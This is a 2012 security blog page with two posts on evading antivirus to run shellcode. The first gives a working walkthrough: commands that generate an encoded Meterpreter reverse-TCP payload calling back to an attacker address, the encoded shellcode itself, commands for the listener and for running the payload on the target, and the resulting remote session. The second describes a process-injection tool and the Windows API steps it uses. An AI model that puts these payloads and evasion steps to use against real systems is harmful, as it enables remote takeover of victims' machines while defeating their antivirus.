Showing posts with label payloads. Show all posts
Showing posts with label payloads. Show all posts

Friday, June 22, 2012

Execute Metasploit Payloads using ShellCodeExec


According to Damel Bernardo’s Blog, this is another good way to bypass any antivirus protection.
Let’s see how it works!
Features
  • Can be compiled and works on POSIX (Linux/Unices) and Windows systems.
  • Can be compiled and works on 32-bit and 64-bit architectures.
  • As far as I know, no AV detect it as malicious.
  • Works in DEP/NX-enabled environments: it allocates the memory page where it stores the shellcode as +rwx – Readable Writable and eXecutable.
  • It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode (generated for instance with Metasploit’s msfpayload) to Metasploit’s msfencode to encode it with the alpha_mixed encoder. Set the BufferRegister variable to EAX registry where the address in memory of the shellcode will be stored, to avoid get_pc() binary stub to be prepended to the shellcode.
  • Spawns a new thread where the shellcode is executed in a structure exception handler (SEH) so that if you wrap shellcodeexec into your own executable, it avoids the whole process to crash in case of unexpected behaviours.
Example
1. Generate a Metasploit shellcode and encode it with the alphanumeric encoder. For example for a Windows target:
Code:
$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
 
[*] x86/alpha_mixed succeeded with size 634 (iteration=1)
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlKXNiEPEPC0CPMYIuTqN2E4LKV2P0NkCbTLLKQBEDNkQbGXTOLwCzEvP1IoTqIPNLGLCQQlERTlEpIQZoVmEQO7KRZPPRQGNkCbTPLKRbElEQZpNkCpQhLEIPQdPJGqZpPPLKQXR8NkQHEpGqN3M3ElG9LKP4NkEQZvP1KOEaO0LlO1ZoTMEQIWVXM0QeKDTCCML8EkQmEtPuIrV8LKQHEtC1KcE6NkVlRkNkRxELC1ICLKETNkGqN0MYRdQ4VDQKCkCQPYCjCaIoKPV8CoPZLKR2ZKMVCmQxVSGBC0EPRHCGPsP2QORtCXPLCGEvEWIoZuX8LPGqEPGpQ9ITCdV0CXEyMPPkC0IoKeRpV0RpPPCpPPG0RpPhIzTOIOKPKOKeLWRJEUPhKpNHMXVaRHVbC0R1ClMYM6PjTPCfV7E8NyI5PtQqKOIEMUKpT4TLIoPNVhCEXlRHXpOEI2PVIoZuQzGpRJGtV6QGQxC2IIZhQOKON5LKP6PjCpCXEPVpC0EPPVCZEPQxV8OTCcM5IoN5LSPSPjEPQFCcV7CXC2KiIXQOIoZuC1KsVIO6OuZVCEXlISAA
2. Execute the Metasploit multi/handler listener on your machine. For example for a Windows target:
Code:
$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
3. Execute the alphanumeric-encoded shellcode with this tool. For example on the Windows target:
Code:
C:\WINDOWS\Temp>shellcodeexec.exe PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlKXNiEPEPC0CPMYIuTqN2E4LKV2P0NkCbTLLKQBEDNkQbGXTOLwCzEvP1IoTqIPNLGLCQQlERTlEpIQZoVmEQO7KRZPPRQGNkCbTPLKRbElEQZpNkCpQhLEIPQdPJGqZpPPLKQXR8NkQHEpGqN3M3ElG9LKP4NkEQZvP1KOEaO0LlO1ZoTMEQIWVXM0QeKDTCCML8EkQmEtPuIrV8LKQHEtC1KcE6NkVlRkNkRxELC1ICLKETNkGqN0MYRdQ4VDQKCkCQPYCjCaIoKPV8CoPZLKR2ZKMVCmQxVSGBC0EPRHCGPsP2QORtCXPLCGEvEWIoZuX8LPGqEPGpQ9ITCdV0CXEyMPPkC0IoKeRpV0RpPPCpPPG0RpPhIzTOIOKPKOKeLWRJEUPhKpNHMXVaRHVbC0R1ClMYM6PjTPCfV7E8NyI5PtQqKOIEMUKpT4TLIoPNVhCEXlRHXpOEI2PVIoZuQzGpRJGtV6QGQxC2IIZhQOKON5LKP6PjCpCXEPVpC0EPPVCZEPQxV8OTCcM5IoN5LSPSPjEPQFCcV7CXC2KiIXQOIoZuC1KsVIO6OuZVCEXlISAA
If you head back to the terminal where the multi/handler is running you will happily see:
Code:
$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUhread LPORT=4444 LHOST=192.168.136.1 E
[*] Please wait while we load the module tree...
 
[...]
 
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 673 exploits - 354 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12306 updated 7 days ago (2011.04.07)
 
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 4444
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:4444
[*] Starting the payload handler...
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:4444 -> 192.168.136.129:1581) at Thu Apr 14 15:30:15 +0100 2011
 
meterpreter > sysinfo
System Language : en_US
OS : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32
The tool along with compilation files for POSIX and Windows systems can be found athttps://github.com/inquisb/shellcodeexec.

Syringe – DLL and Shellcode Process Injection Utility


If you remember about an old post of ours – Shellcodeexec, you might have a faint idea of what Syringe does. Shellcodeexec is a small script to execute in memory a sequence of opcodes. What it does is it spawns a new thread where the shellcode is executed in a structure exception handler (SEH). Syringe is a general purpose injection utility for the Windows platform. It supports injection of DLLs, and shellcode into remote processes as well execution of shellcode (via the same method of shellcodeexec). It can be very useful for executing Metasploit payloads while bypassing many popular anti-virus implementations as well as executing custom made DLLs.


Syringe can inject this modified version into the remote process and successfully execute shellcode in its context, interact with our shellcode and exit out of it, without damaging the remote process. Implimenting this technique, it provides users an easy way of injecting shellcode into 32-bit processes while bypassing most forms of antiviruses! Simply put, this technique is implimented by Syringe follows these steps:


Opens a handle to the remote process.
Uses VirtualAllocEx to allocate memory in the remote process with the necessary permissions of read, write, and execute.  Then uses WriteProcessMemory to copy the shellcode to the remote buffer.
Repeats step #2 with the assembly stub.
Starts the assembly stub via a call to CreateRemoteThread, with a pointer to the assembly stub as the function to execute and a pointer to the remote shellcode as the argument.